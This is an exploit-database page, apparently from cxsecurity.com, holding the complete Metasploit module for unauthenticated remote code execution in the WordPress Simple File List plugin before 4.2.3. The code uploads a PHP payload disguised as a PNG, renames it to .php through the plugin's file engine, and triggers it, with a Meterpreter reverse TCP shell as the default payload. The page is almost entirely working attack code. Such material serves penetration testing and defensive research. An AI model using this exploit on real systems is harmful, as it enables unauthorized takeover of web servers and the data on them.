WordPress Simple File List Unauthenticated Remote Code Execution

2020.11.25
Credit: h00die
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution', 'Description' => %q{ Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'coiffeur', # initial discovery and PoC 'h00die', # msf module ], 'References' => [ [ 'URL', 'https://wpscan.com/vulnerability/10192' ], [ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ], [ 'EDB', '48349' ] ], 'Platform' => [ 'php' ], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Default', { 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2020-04-27', 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']), ] ) end def dir_path '/wp-content/uploads/simple-file-list/' end def upload_path '/wp-content/plugins/simple-file-list/ee-upload-engine.php' end def move_path '/wp-content/plugins/simple-file-list/ee-file-engine.php' end def upload(filename) print_status('Attempting to upload the PHP payload as a PNG file') now = Date.today.to_time.to_i.to_s data = Rex::MIME::Message.new data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"') data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"') data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"') data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"') data.add_part("#{payload.encoded}\n", 'image/png', nil, "form-data; name=\"file\"; filename=\"#{filename}.png\"") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, upload_path), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 # the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"), 'method' => 'GET' ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res # 404 could be AV got it or something similar fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}. File was uploaded successfully, but could not be found.") if res.code == 404 fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 print_good('PNG payload successfully uploaded') end def rename(filename) print_status("Attempting to rename #{filename}.png to #{filename}.php") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, move_path), 'method' => 'POST', 'vars_post' => { 'eeSFL_ID' => 1, 'eeFileOld' => "#{filename}.png", 'eeListFolder' => '/', 'eeFileAction' => "Rename|#{filename}.php" } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200 print_good("Successfully renamed #{filename}.png to #{filename}.php") end def check return CheckCode::Unknown unless wordpress_and_online? # check the plugin version from readme check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1') end def exploit # filename of the file to be uploaded/created filename = Rex::Text.rand_text_alphanumeric(8) register_file_for_cleanup("#{filename}.php") upload(filename) rename(filename) print_status('Triggering shell') send_request_cgi( 'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"), 'method' => 'GET' ) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top